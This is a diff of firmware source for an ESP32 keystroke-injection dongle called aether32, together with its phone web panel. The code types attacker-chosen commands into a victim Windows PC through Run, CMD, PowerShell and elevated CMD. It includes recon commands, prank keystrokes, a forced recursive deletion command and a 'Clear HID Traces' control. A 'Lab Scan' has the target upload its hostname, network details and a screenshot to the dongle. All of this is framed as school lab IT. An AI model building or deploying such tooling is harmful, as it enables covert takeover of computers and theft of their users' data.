}
void mount_storage()
{
// Prevent LED from starting
TaskHandle_t blink = xTaskGetHandle("blink_rgb");
TaskHandle_t idle = xTaskGetHandle("idle_rgb");
if (blink != nullptr) vTaskSuspend(blink);
if (idle != nullptr) vTaskSuspend(idle);
pinMode(GPIO_NUM_2, OUTPUT);
#ifdef USE_SDIO
card = new SDCardMultiSector(Serial, "/sd", SD_CARD_CLK, SD_CARD_CMD, SD_CARD_DAT0, SD_CARD_DAT1, SD_CARD_DAT2, SD_CARD_DAT3);
#else
card = new SDCardLazyWrite(Serial, "/sd", SD_CARD_MISO, SD_CARD_MOSI, SD_CARD_CLK, SD_CARD_CS);
#endif
if (card == nullptr)
return;
msc.vendorID("ESP32");
msc.productID("USB_MSC");
msc.productRevision("1.0");
msc.onRead(onRead);
msc.onWrite(onWrite);
msc.onStartStop(onStartStop);
msc.mediaPresent(true);
msc.begin(card->getSectorCount(), card->getSectorSize());
}
// Eject storage connected by mount_storage and restart the device
// After restart, the device shall be in USB-HID mode
void eject_storage()
{
msc.end();
delay(1000);
ESP.restart();
}

View File

@@ -0,0 +1,16 @@
#include <Arduino.h>
#include "USB.h"
#include "USBMSC.h"
#include "SDCardArduino.h"
#include "SDCardMultiSector.h"
#include "SDCardLazyWrite.h"
#define BOOT_BUTTON 0
#define SPEED_TEST_BUFFER_SIZE 4096
#define SPEED_TEST_NUMBER_SECTORS (SPEED_TEST_BUFFER_SIZE / 512)
// Function declarations
void mount_storage();
void eject_storage();

376
src/components/tricks.cpp Normal file
View File

@@ -0,0 +1,376 @@
#include "tricks.h"
#include "exescript.h"
#include "collector.h"
#include <stdio.h>
#include <string.h>
static void open_run_dialog()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(450);
}
static void open_cmd_window()
{
open_run_dialog();
write_task("cmd", 25, true);
delay(700);
}
static void open_powershell_window()
{
open_run_dialog();
write_task("powershell", 25, true);
delay(900);
}
static void open_url(const char *url)
{
open_run_dialog();
write_task(url, 18, true);
}
static void press_combo_gui(char key)
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.write(key);
Keyboard.releaseAll();
delay(200);
}
static void press_combo_ctrl(char key)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.write(key);
Keyboard.releaseAll();
delay(200);
}
static void press_combo_ctrl_shift(char key)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write(key);
Keyboard.releaseAll();
delay(200);
}
static void press_combo_alt(char key)
{
Keyboard.press(KEY_LEFT_ALT);
Keyboard.write(key);
Keyboard.releaseAll();
delay(200);
}
static void press_combo_gui_shift(char key)
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write(key);
Keyboard.releaseAll();
delay(200);
}
static void open_notepad()
{
open_run_dialog();
write_task("notepad", 25, true);
delay(900);
}
static void fake_error_prank()
{
open_notepad();
const char *msg = R"(ERROR: System32 has encountered a critical failure.
Your computer may explode in 10 seconds.
Just kidding. aether32 was here.)";
write_task(msg, 12, false);
}
static void devil_prank()
{
open_notepad();
const char *msg = R"(aether32 says hello!
The quick brown fox jumps over the lazy dog.
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789 !@#$%^&*())";
write_task(msg, 8, false);
}
static void alt_tab_spam(int count)
{
for (int i = 0; i < count; i++)
{
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_TAB);
Keyboard.releaseAll();
delay(350);
}
}
void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first)
{
if (open_notepad_first)
{
open_notepad();
delay(400);
}
write_task(text, delay_ms, enter);
}
void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms)
{
if (strcmp(shell, "elevated") == 0)
{
open_elevated_cmd();
delay(600);
write_task(cmd, delay_ms, true);
}
else if (strcmp(shell, "cmd") == 0)
{
open_cmd_window();
write_task(cmd, delay_ms, true);
}
else if (strcmp(shell, "powershell") == 0)
{
open_powershell_window();
write_task(cmd, delay_ms, true);
}
else
{
open_run_dialog();
write_task(cmd, delay_ms, true);
}
}
void trick_dispatch(const char *id)
{
if (strcmp(id, "calc") == 0)
{
open_run_dialog();
write_task("calc", 25, true);
}
else if (strcmp(id, "notepad") == 0)
{
open_notepad();
}
else if (strcmp(id, "cmd") == 0)
{
open_cmd_window();
}
else if (strcmp(id, "elevated_cmd") == 0)
{
open_elevated_cmd();
}
else if (strcmp(id, "powershell") == 0)
{
open_powershell_window();
}
else if (strcmp(id, "taskmgr") == 0)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write(KEY_ESC);
Keyboard.releaseAll();
}
else if (strcmp(id, "desktop") == 0)
{
press_combo_gui('d');
}
else if (strcmp(id, "lock") == 0)
{
press_combo_gui('l');
}
else if (strcmp(id, "minimize") == 0)
{
press_combo_gui('m');
}
else if (strcmp(id, "alt_tab") == 0)
{
press_combo_alt(KEY_TAB);
}
else if (strcmp(id, "alt_tab_spam") == 0)
{
alt_tab_spam(6);
}
else if (strcmp(id, "caps") == 0)
{
Keyboard.write(KEY_CAPS_LOCK);
}
else if (strcmp(id, "screenshot") == 0)
{
press_combo_gui_shift('s');
}
else if (strcmp(id, "close_win") == 0)
{
press_combo_alt(KEY_F4);
}
else if (strcmp(id, "refresh") == 0)
{
Keyboard.write(KEY_F5);
}
else if (strcmp(id, "select_all") == 0)
{
press_combo_ctrl('a');
}
else if (strcmp(id, "copy") == 0)
{
press_combo_ctrl('c');
}
else if (strcmp(id, "paste") == 0)
{
press_combo_ctrl('v');
}
else if (strcmp(id, "undo") == 0)
{
press_combo_ctrl('z');
}
else if (strcmp(id, "save") == 0)
{
press_combo_ctrl('s');
}
else if (strcmp(id, "zoom_in") == 0)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.write('=');
Keyboard.releaseAll();
}
else if (strcmp(id, "zoom_out") == 0)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.write('-');
Keyboard.releaseAll();
}
else if (strcmp(id, "fake_error") == 0)
{
fake_error_prank();
}
else if (strcmp(id, "devil") == 0)
{
devil_prank();
}
else if (strcmp(id, "google") == 0)
{
open_url("https://google.com");
}
else if (strcmp(id, "youtube") == 0)
{
open_url("https://youtube.com");
}
else if (strcmp(id, "settings") == 0)
{
open_run_dialog();
write_task("ms-settings:", 20, true);
}
else if (strcmp(id, "control_panel") == 0)
{
open_run_dialog();
write_task("control", 20, true);
}
else if (strcmp(id, "file_explorer") == 0)
{
press_combo_gui('e');
}
else if (strcmp(id, "win_ver") == 0)
{
open_cmd_window();
write_task("ver", 15, true);
}
else if (strcmp(id, "ipconfig") == 0)
{
open_cmd_window();
write_task("ipconfig", 15, true);
}
else if (strcmp(id, "whoami") == 0)
{
open_cmd_window();
write_task("whoami", 15, true);
}
else if (strcmp(id, "tree") == 0)
{
open_cmd_window();
write_task("tree C:\\ /F", 12, true);
}
else if (strcmp(id, "flush_dns") == 0)
{
open_cmd_window();
write_task("ipconfig /flushdns", 15, true);
}
else if (strcmp(id, "devmgmt") == 0)
{
open_run_dialog();
write_task("devmgmt.msc", 20, true);
}
else if (strcmp(id, "diskmgmt") == 0)
{
open_run_dialog();
write_task("diskmgmt.msc", 20, true);
}
else if (strcmp(id, "clear_temp") == 0)
{
open_elevated_cmd();
delay(600);
write_task(
"Remove-Item $env:TEMP\\* -Recurse -Force -ErrorAction SilentlyContinue",
12, true);
}
else if (strcmp(id, "star_wars") == 0)
{
open_cmd_window();
write_task("telnet towel.blinkenlights.nl", 12, true);
}
else if (strcmp(id, "bsod_fake") == 0)
{
open_cmd_window();
write_task(R"(echo Your PC ran into a problem and needs to restart.)", 10, true);
}
else if (strcmp(id, "flip_screen") == 0)
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.write(KEY_DOWN_ARROW);
Keyboard.releaseAll();
}
else if (strcmp(id, "spam_enter") == 0)
{
for (int i = 0; i < 10; i++)
{
Keyboard.write(KEY_RETURN);
delay(120);
}
}
else if (strcmp(id, "spam_esc") == 0)
{
for (int i = 0; i < 8; i++)
{
Keyboard.write(KEY_ESC);
delay(120);
}
}
else if (strcmp(id, "win_left") == 0)
{
press_combo_gui(KEY_LEFT_ARROW);
}
else if (strcmp(id, "win_right") == 0)
{
press_combo_gui(KEY_RIGHT_ARROW);
}
else if (strcmp(id, "win_up") == 0)
{
press_combo_gui(KEY_UP_ARROW);
}
else if (strcmp(id, "win_down") == 0)
{
press_combo_gui(KEY_DOWN_ARROW);
}
// ── Collection tricks ──────────────────────────────────────────────────
else if (strncmp(id, "collect_", 8) == 0)
{
collect_dispatch(id + 8);
}
}

10
src/components/tricks.h Normal file
View File

@@ -0,0 +1,10 @@
#ifndef TRICKS_H
#define TRICKS_H
#include <Arduino.h>
void trick_dispatch(const char *id);
void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms);
void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first);
#endif

View File

@@ -0,0 +1,88 @@
#include "upload_status.h"
#include "flash_fs.h"
#include <LittleFS.h>
static char s_last_upload[65] = "";
static unsigned long s_last_upload_ms = 0;
static char s_scan_phase[32] = "idle";
static bool s_uploading = false;
static String json_escape(const String &s)
{
String out;
out.reserve(s.length() + 8);
for (size_t i = 0; i < s.length(); i++)
{
char c = s.charAt(i);
if (c == '\\') out += "\\\\";
else if (c == '"') out += "\\\"";
else if (c == '\n') out += "\\n";
else if (c == '\r') { /* skip */ }
else out += c;
}
return out;
}
static int count_result_files()
{
int n = 0;
File dir = LittleFS.open(RESULTS_DIR);
if (!dir || !dir.isDirectory())
return 0;
File entry = dir.openNextFile();
while (entry)
{
if (!entry.isDirectory())
n++;
entry.close();
entry = dir.openNextFile();
}
dir.close();
return n;
}
void upload_status_set_phase(const char *phase)
{
if (!phase)
return;
strncpy(s_scan_phase, phase, sizeof(s_scan_phase) - 1);
s_scan_phase[sizeof(s_scan_phase) - 1] = '\0';
}
void upload_status_set_uploading(bool uploading)
{
s_uploading = uploading;
}
void upload_status_on_upload(const char *filename)
{
if (!filename)
return;
strncpy(s_last_upload, filename, sizeof(s_last_upload) - 1);
s_last_upload[sizeof(s_last_upload) - 1] = '\0';
s_last_upload_ms = millis();
s_uploading = false;
}
String upload_status_json()
{
String os = flash_fs_read_result("os.txt", 64);
String host = flash_fs_read_result("hostname.txt", 256);
os.trim();
host.trim();
int nl = host.indexOf('\n');
if (nl > 0)
host = host.substring(0, nl);
host.trim();
String json = "{";
json += "\"scan_phase\":\"" + json_escape(String(s_scan_phase)) + "\",";
json += "\"last_upload\":\"" + json_escape(String(s_last_upload)) + "\",";
json += "\"last_upload_ms\":" + String(s_last_upload_ms) + ",";
json += "\"file_count\":" + String(count_result_files()) + ",";
json += "\"os\":\"" + json_escape(os.length() ? os : "unknown") + "\",";
json += "\"hostname\":\"" + json_escape(host.length() ? host : "unknown") + "\",";
json += "\"uploading\":" + String(s_uploading ? "true" : "false");
json += "}";
return json;
}

View File

@@ -0,0 +1,11 @@
#ifndef UPLOAD_STATUS_H
#define UPLOAD_STATUS_H
#include <Arduino.h>
void upload_status_set_phase(const char *phase);
void upload_status_set_uploading(bool uploading);
void upload_status_on_upload(const char *filename);
String upload_status_json();
#endif

View File

@@ -0,0 +1,891 @@
#include "web_content.h"
// ─── Shared dark-panel CSS used in folder/file sub-pages ─────────────────────
static const char subpageCSS[] = R"CSS(
*{box-sizing:border-box;margin:0;padding:0}
body{background:#090912;color:#e2e8f0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;padding:20px;min-height:100vh}
h1{font-size:1.4rem;font-weight:700;background:linear-gradient(135deg,#a78bfa,#38bdf8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:16px}
a{color:#7c3aed;text-decoration:none;display:block;padding:7px 0;border-bottom:1px solid rgba(255,255,255,.05);font-size:.92rem}
a:hover{color:#a78bfa}
a.back{margin-bottom:20px;border:none;font-size:.85rem}
pre{background:rgba(0,0,0,.5);border:1px solid rgba(255,255,255,.08);border-radius:10px;padding:14px;font-size:.78rem;overflow-x:auto;max-height:60vh;overflow-y:auto;margin-bottom:16px;color:#94a3b8;font-family:monospace}
button{padding:11px 22px;background:linear-gradient(180deg,#7c3aed,#5b21b6);border:none;border-radius:8px;color:#fff;cursor:pointer;font-size:.88rem;font-weight:600}
button:hover{filter:brightness(1.15)}
.hint{font-size:.72rem;color:#475569;margin-top:8px}
)CSS";
// ─── Main SPA page ─────────────────────────────────────────────────────────
const char *rootViewHTML = R"KILLA(<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>aether32</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#090912;color:#e2e8f0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;min-height:100vh;overflow-x:hidden}
/* ── header ── */
.hdr{display:flex;align-items:center;padding:14px 18px;border-bottom:1px solid rgba(255,255,255,.07);gap:10px;position:sticky;top:0;background:#090912;z-index:50}
.hdr-title{font-size:1.25rem;font-weight:800;background:linear-gradient(135deg,#a78bfa,#38bdf8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;flex:1;letter-spacing:-.01em}
.pulse{width:8px;height:8px;border-radius:50%;background:#10b981;box-shadow:0 0 8px #10b981;animation:blink 2s infinite}
@keyframes blink{0%,100%{opacity:1}50%{opacity:.3}}
#stxt{font-size:.75rem;color:#475569}
/* ── nav ── */
nav{display:flex;padding:10px 14px;gap:6px;border-bottom:1px solid rgba(255,255,255,.06);overflow-x:auto;-webkit-overflow-scrolling:touch}
nav::-webkit-scrollbar{height:2px}
nav::-webkit-scrollbar-thumb{background:#7c3aed;border-radius:2px}
.nb{padding:7px 15px;border:1px solid rgba(255,255,255,.09);border-radius:20px;background:transparent;color:#64748b;cursor:pointer;font-size:.8rem;white-space:nowrap;transition:.2s;flex-shrink:0}
.nb.on,.nb:hover{background:rgba(124,58,237,.18);border-color:#7c3aed;color:#c4b5fd}
/* ── tabs ── */
.tab{display:none;padding:16px}.tab.on{display:block}
/* ── card ── */
.card{background:rgba(255,255,255,.04);border:1px solid rgba(255,255,255,.07);border-radius:12px;padding:15px;margin-bottom:14px}
.card-title{font-size:.72rem;text-transform:uppercase;letter-spacing:.1em;color:#7c3aed;margin-bottom:12px;font-weight:700}
/* ── saved buttons grid ── */
.sbgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(148px,1fr));gap:10px}
.sbc{position:relative;border-radius:10px;border:1px solid rgba(255,255,255,.08);overflow:hidden;transition:.15s}
.sbc:hover{transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.4)}
.sbc-run{display:block;width:100%;padding:14px 12px 28px;border:none;cursor:pointer;font-size:.88rem;font-weight:700;color:#fff;text-align:left;line-height:1.35;transition:filter .15s}
.sbc-run:hover{filter:brightness(1.18)}
.sbc-preview{position:absolute;bottom:0;left:0;right:28px;padding:4px 8px;background:rgba(0,0,0,.38);font-family:'Consolas','Monaco',monospace;font-size:.6rem;color:rgba(255,255,255,.55);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.sbc-del{position:absolute;bottom:0;right:0;width:26px;height:26px;border:none;background:rgba(0,0,0,.35);color:rgba(255,255,255,.4);cursor:pointer;font-size:.7rem;transition:.15s;border-radius:0 0 9px 0;display:flex;align-items:center;justify-content:center}
.sbc-del:hover{background:rgba(239,68,68,.6);color:#fff}
/* ── add btn shortcut ── */
.add-shortcut{display:flex;align-items:center;justify-content:center;border:2px dashed rgba(124,58,237,.3);border-radius:10px;min-height:68px;cursor:pointer;color:#7c3aed;font-size:.85rem;font-weight:600;gap:6px;transition:.2s;background:transparent}
.add-shortcut:hover{border-color:#7c3aed;background:rgba(124,58,237,.08)}
/* ── trick grid ── */
.tgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(120px,1fr));gap:7px}
.tb{padding:9px 8px;background:rgba(255,255,255,.04);border:1px solid rgba(255,255,255,.07);border-radius:8px;color:#cbd5e1;cursor:pointer;font-size:.78rem;transition:.15s;text-align:center}
.tb:hover{background:rgba(124,58,237,.18);border-color:#7c3aed;color:#a78bfa;transform:translateY(-1px)}
/* ── forms ── */
.frow{display:flex;gap:8px;flex-wrap:wrap;margin-bottom:9px}
input,select,textarea{background:rgba(0,0,0,.45);border:1px solid rgba(255,255,255,.11);border-radius:8px;color:#e2e8f0;padding:9px 11px;font-size:.85rem;outline:none;transition:border-color .15s}
input:focus,select:focus,textarea:focus{border-color:#7c3aed;background:rgba(124,58,237,.06)}
input[type=text]{flex:1}
input[type=number]{width:72px;flex-shrink:0}
select{cursor:pointer;flex-shrink:0}
textarea{width:100%;min-height:72px;resize:vertical;font-family:'Consolas','Monaco',monospace;font-size:.8rem}
label{display:flex;align-items:center;gap:6px;font-size:.8rem;color:#94a3b8;cursor:pointer}
/* ── buttons ── */
.btn{padding:10px 18px;border:none;border-radius:8px;color:#fff;cursor:pointer;font-size:.85rem;font-weight:600;transition:.18s}
.btn:hover{transform:translateY(-1px);box-shadow:0 4px 18px rgba(0,0,0,.3)}
.btn-p{background:linear-gradient(160deg,#7c3aed,#5b21b6)}.btn-p:hover{box-shadow:0 4px 18px rgba(124,58,237,.4)}
.btn-d{background:linear-gradient(160deg,#dc2626,#991b1b)}
.btn-w{background:linear-gradient(160deg,#d97706,#92400e)}
.btn-s{background:rgba(255,255,255,.07);border:1px solid rgba(255,255,255,.1)}
/* ── tools grid ── */
.tl-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(155px,1fr));gap:10px}
.tl{display:block;padding:16px 12px;border-radius:10px;text-align:center;text-decoration:none;font-size:.85rem;font-weight:600;border:1px solid rgba(255,255,255,.09);color:#e2e8f0;background:rgba(255,255,255,.04);transition:.2s}
.tl:hover{transform:translateY(-2px);box-shadow:0 6px 20px rgba(0,0,0,.35)}
/* ── manage list ── */
.mrow{display:flex;align-items:center;gap:8px;padding:9px 0;border-bottom:1px solid rgba(255,255,255,.05)}
.mrow:last-child{border:none}
.mrow-info{flex:1;min-width:0}
.mrow-label{font-size:.85rem;font-weight:600;margin-bottom:2px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.mrow-cmd{font-size:.68rem;color:#475569;font-family:monospace;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
/* ── empty state ── */
.empty{color:#334155;text-align:center;padding:36px 20px;font-size:.88rem;line-height:1.6}
/* ── toast ── */
.toast{position:fixed;bottom:22px;left:50%;transform:translateX(-50%) translateY(90px);background:#1e293b;border:1px solid rgba(255,255,255,.12);border-radius:10px;padding:11px 22px;font-size:.85rem;transition:transform .28s cubic-bezier(.34,1.56,.64,1);z-index:200;pointer-events:none;white-space:nowrap;max-width:90vw}
.toast.show{transform:translateX(-50%) translateY(0)}
.toast.ok{border-color:#10b981;color:#6ee7b7}.toast.err{border-color:#ef4444;color:#fca5a5}.toast.info{border-color:#38bdf8;color:#7dd3fc}
.hint{font-size:.72rem;color:#475569;margin-top:5px}
/* ── lab scan / collect status ── */
.lab-scan-btn{width:100%;padding:18px 20px;font-size:1.05rem;font-weight:800;letter-spacing:.02em;margin-top:4px}
.status-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:10px;margin-top:10px}
.status-item{background:rgba(0,0,0,.35);border:1px solid rgba(255,255,255,.08);border-radius:10px;padding:12px}
.status-label{font-size:.65rem;text-transform:uppercase;letter-spacing:.08em;color:#64748b;margin-bottom:4px}
.status-value{font-size:.88rem;font-weight:700;color:#e2e8f0;word-break:break-word}
.phase-pill{display:inline-block;padding:6px 14px;border-radius:20px;font-size:.82rem;font-weight:700}
.phase-idle{background:rgba(100,116,139,.2);color:#94a3b8;border:1px solid rgba(100,116,139,.35)}
.phase-sending{background:rgba(217,119,6,.15);color:#fcd34d;border:1px solid rgba(217,119,6,.4);animation:armpulse 1.2s infinite}
.phase-waiting{background:rgba(56,189,248,.12);color:#7dd3fc;border:1px solid rgba(56,189,248,.35)}
.phase-complete{background:rgba(16,185,129,.15);color:#6ee7b7;border:1px solid rgba(16,185,129,.4)}
/* ── toggle switch ── */
.toggle{position:relative;width:52px;height:28px;display:inline-block;flex-shrink:0}.toggle input{opacity:0;width:0;height:0}
.slider{position:absolute;cursor:pointer;inset:0;background:#1e293b;border:1px solid rgba(255,255,255,.1);border-radius:28px;transition:.3s}
.slider:before{content:'';position:absolute;width:22px;height:22px;left:2px;bottom:2px;background:#475569;border-radius:50%;transition:.3s}
input:checked+.slider{background:linear-gradient(135deg,#ef4444,#b91c1c);border-color:#ef4444}
input:checked+.slider:before{transform:translateX(24px);background:#fff}
/* ── armed badge ── */
.armed-badge{padding:3px 9px;background:rgba(239,68,68,.18);border:1px solid rgba(239,68,68,.45);border-radius:12px;font-size:.68rem;color:#fca5a5;font-weight:700;animation:armpulse 1.4s infinite}
@keyframes armpulse{0%,100%{opacity:1}50%{opacity:.55}}
/* ── builder color preview ── */
.color-row{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:10px}
.cs{width:28px;height:28px;border-radius:6px;cursor:pointer;border:2px solid transparent;transition:.15s;flex-shrink:0}
.cs.active{border-color:#fff;transform:scale(1.15)}
</style>
</head><body>
<div class="hdr">
<span class="hdr-title">&#9889; aether32</span>
<div class="pulse"></div>
<span id="stxt">Ready</span>
<span id="ar-badge" style="display:none" class="armed-badge">ARMED</span>
</div>
<nav>
<button class="nb on" data-tab="saved" onclick="showTab('saved')">My Buttons</button>
<button class="nb" data-tab="builder" onclick="showTab('builder')">+ Builder</button>
<button class="nb" data-tab="tricks" onclick="showTab('tricks')">Tricks</button>
<button class="nb" data-tab="shell" onclick="showTab('shell')">Shell</button>
<button class="nb" data-tab="collect" onclick="showTab('collect')">Collect</button>
<button class="nb" data-tab="tools" onclick="showTab('tools')">Tools</button>
<button class="nb" data-tab="autorun" onclick="showTab('autorun')" id="ar-nav-btn">Auto-Run</button>
</nav>
<!-- TAB: MY BUTTONS -->
<div id="tab-saved" class="tab on">
<div class="card">
<div class="card-title">Saved Command Buttons</div>
<div id="sbgrid" class="sbgrid"><p class="empty">Loading...</p></div>
</div>
</div>
<!-- TAB: BUILDER -->
<div id="tab-builder" class="tab">
<div class="card">
<div class="card-title">Create New Button</div>
<form id="bf" onsubmit="addButton(event)">
<div class="frow">
<input type="text" name="label" placeholder="Button label" required style="flex:2;min-width:140px">
<select name="shell">
<option value="run">Win+R (Run)</option>
<option value="cmd">CMD</option>
<option value="powershell">PowerShell</option>
<option value="elevated">Elevated CMD</option>
</select>
</div>
<div class="color-row" id="color-row"></div>
<textarea name="cmd" placeholder="Command to type on target&#10;e.g. ipconfig /all&#10; Get-ComputerInfo | Select *" required></textarea>
<div class="frow" style="margin-top:9px;align-items:center">
<label style="color:#475569;font-size:.78rem">Key delay (ms):</label>
<input type="number" name="delay" value="15" min="5" max="200">
<button type="submit" class="btn btn-p" style="margin-left:auto">Save Button</button>
</div>
</form>
</div>
<div class="card">
<div class="card-title">Manage Saved Buttons</div>
<div id="mlist"><p class="empty">Loading...</p></div>
</div>
</div>
<!-- TAB: TRICKS -->
<div id="tab-tricks" class="tab">
<div class="card">
<div class="card-title">Launch Apps</div>
<div class="tgrid">
<button class="tb" onclick="trick('calc')">Calculator</button>
<button class="tb" onclick="trick('notepad')">Notepad</button>
<button class="tb" onclick="trick('cmd')">CMD</button>
<button class="tb" onclick="trick('powershell')">PowerShell</button>
<button class="tb" onclick="trick('elevated_cmd')">Elevated CMD</button>
<button class="tb" onclick="trick('taskmgr')">Task Manager</button>
<button class="tb" onclick="trick('settings')">Settings</button>
<button class="tb" onclick="trick('control_panel')">Control Panel</button>
<button class="tb" onclick="trick('file_explorer')">File Explorer</button>
</div>
</div>
<div class="card">
<div class="card-title">Window Control</div>
<div class="tgrid">
<button class="tb" onclick="trick('desktop')">Show Desktop</button>
<button class="tb" onclick="trick('minimize')">Minimize All</button>
<button class="tb" onclick="trick('lock')">Lock Screen</button>
<button class="tb" onclick="trick('close_win')">Close Window</button>
<button class="tb" onclick="trick('alt_tab')">Alt+Tab</button>
<button class="tb" onclick="trick('alt_tab_spam')">Alt+Tab Spam</button>
<button class="tb" onclick="trick('win_left')">Snap Left</button>
<button class="tb" onclick="trick('win_right')">Snap Right</button>
<button class="tb" onclick="trick('win_up')">Maximize</button>
<button class="tb" onclick="trick('win_down')">Restore</button>
<button class="tb" onclick="trick('screenshot')">Screenshot</button>
<button class="tb" onclick="trick('refresh')">F5 Refresh</button>
</div>
</div>
<div class="card">
<div class="card-title">Keyboard Shortcuts</div>
<div class="tgrid">
<button class="tb" onclick="trick('caps')">Caps Lock</button>
<button class="tb" onclick="trick('select_all')">Ctrl+A</button>
<button class="tb" onclick="trick('copy')">Ctrl+C</button>
<button class="tb" onclick="trick('paste')">Ctrl+V</button>
<button class="tb" onclick="trick('undo')">Ctrl+Z</button>
<button class="tb" onclick="trick('save')">Ctrl+S</button>
<button class="tb" onclick="trick('zoom_in')">Zoom In</button>
<button class="tb" onclick="trick('zoom_out')">Zoom Out</button>
<button class="tb" onclick="trick('spam_enter')">Spam Enter</button>
<button class="tb" onclick="trick('spam_esc')">Spam Esc</button>
</div>
</div>
<div class="card">
<div class="card-title">Recon</div>
<div class="tgrid">
<button class="tb" onclick="trick('win_ver')">OS Version</button>
<button class="tb" onclick="trick('ipconfig')">IP Config</button>
<button class="tb" onclick="trick('whoami')">whoami</button>
<button class="tb" onclick="trick('tree')">Tree C:\</button>
</div>
</div>
<div class="card">
<div class="card-title">Party Tricks</div>
<div class="tgrid">
<button class="tb" onclick="trick('fake_error')">Fake Error</button>
<button class="tb" onclick="trick('devil')">ASCII Art</button>
<button class="tb" onclick="trick('star_wars')">Star Wars</button>
<button class="tb" onclick="trick('bsod_fake')">Fake BSOD</button>
<button class="tb" onclick="trick('flip_screen')">Flip Screen</button>
<button class="tb" onclick="trick('google')">Open Google</button>
<button class="tb" onclick="trick('youtube')">Open YouTube</button>
</div>
</div>
</div>
<!-- TAB: SHELL -->
<div id="tab-shell" class="tab">
<div class="card">
<div class="card-title">Run Command on Target</div>
<form onsubmit="runCmd(event)">
<div class="frow">
<select name="shell">
<option value="run">Win+R (Run)</option>
<option value="cmd">CMD</option>
<option value="powershell">PowerShell</option>
<option value="elevated">Elevated CMD</option>
</select>
<input type="number" name="delay" value="15" min="5" max="200">
</div>
<div class="frow">
<input type="text" name="cmd" placeholder="Command to run on target machine" required>
<button type="submit" class="btn btn-p">&#9654; Run</button>
</div>
</form>
</div>
<div class="card">
<div class="card-title">Type Raw Text</div>
<form onsubmit="typeText(event)">
<textarea name="text" placeholder="Text to type into whatever window is active on the target..." required></textarea>
<div class="frow" style="margin-top:9px">
<label><input type="checkbox" name="notepad" value="1"> Open Notepad first</label>
<label><input type="checkbox" name="enter" value="1"> Press Enter after</label>
<input type="number" name="delay" value="12" min="5" max="200">
<button type="submit" class="btn btn-p" style="margin-left:auto">&#9654; Type It</button>
</div>
</form>
</div>
</div>
<!-- TAB: TOOLS -->
<div id="tab-tools" class="tab">
<div class="card">
<div class="card-title">School Lab IT</div>
<p style="font-size:.82rem;color:#64748b;line-height:1.65;margin-bottom:14px">
Utilities for lab rounds on student PCs. Collected scan data is stored on this dongle&apos;s flash
download reports from the <strong style="color:#a78bfa;font-weight:600">Collect</strong> tab on your phone.
No removable media required.
</p>
<div class="tl-grid">
<button class="tl" onclick="postAction('/clear_trace')" style="border-color:rgba(100,116,139,.25)">&#129529; Clear HID Traces</button>
<button class="tl" onclick="postAction('/restart')" style="border-color:rgba(239,68,68,.3);background:linear-gradient(135deg,rgba(239,68,68,.08),transparent)">&#9889; Restart Dongle WiFi</button>
</div>
<p class="hint">Clear traces after a session. Restart if the captive portal or uploads stop responding.</p>
</div>
</div>
<!-- TAB: COLLECT -->
<div id="tab-collect" class="tab">
<div class="card" style="border-color:rgba(16,185,129,.3);background:linear-gradient(135deg,rgba(16,185,129,.06),rgba(124,58,237,.04))">
<div class="card-title">Lab Scan</div>
<p style="font-size:.8rem;color:#64748b;line-height:1.6;margin-bottom:12px">
Inventory a lab PC: hostname, network, MACs, routes, ports, and screenshot. The machine joins
<code style="color:#a78bfa">aether32</code> WiFi and uploads to this dongle at <code style="color:#a78bfa">192.168.4.1</code>.
Keep the desktop unlocked; allow ~2540 seconds for uploads.
</p>
<button class="btn btn-p lab-scan-btn" onclick="labScan()">&#9889; Lab Scan</button>
<p class="hint" style="margin-top:10px">Runs the Windows lab profile. If that fails, retry uses auto-detect (Win / Mac / Linux).</p>
</div>
<div class="card" id="collect-live-status">
<div class="card-title" style="display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:8px">
<span>Live Status</span>
<span id="collect-phase-pill" class="phase-pill phase-idle">Idle</span>
</div>
<div class="status-grid">
<div class="status-item"><div class="status-label">Phase</div><div class="status-value" id="status-phase-txt">Idle</div></div>
<div class="status-item"><div class="status-label">Last upload</div><div class="status-value" id="status-last-upload">—</div></div>
<div class="status-item"><div class="status-label">Files on device</div><div class="status-value" id="status-file-count">0</div></div>
<div class="status-item"><div class="status-label">Detected OS</div><div class="status-value" id="status-os">unknown</div></div>
<div class="status-item" style="grid-column:1/-1"><div class="status-label">Hostname</div><div class="status-value" id="status-hostname">—</div></div>
</div>
<p class="hint">Updates every 2s while this tab is open.</p>
</div>
<div class="card">
<div class="card-title">Quick Lab Fixes (Windows)</div>
<p style="font-size:.78rem;color:#64748b;margin-bottom:10px">Common IT fixes sent as keystrokes on the target. No stored credentials.</p>
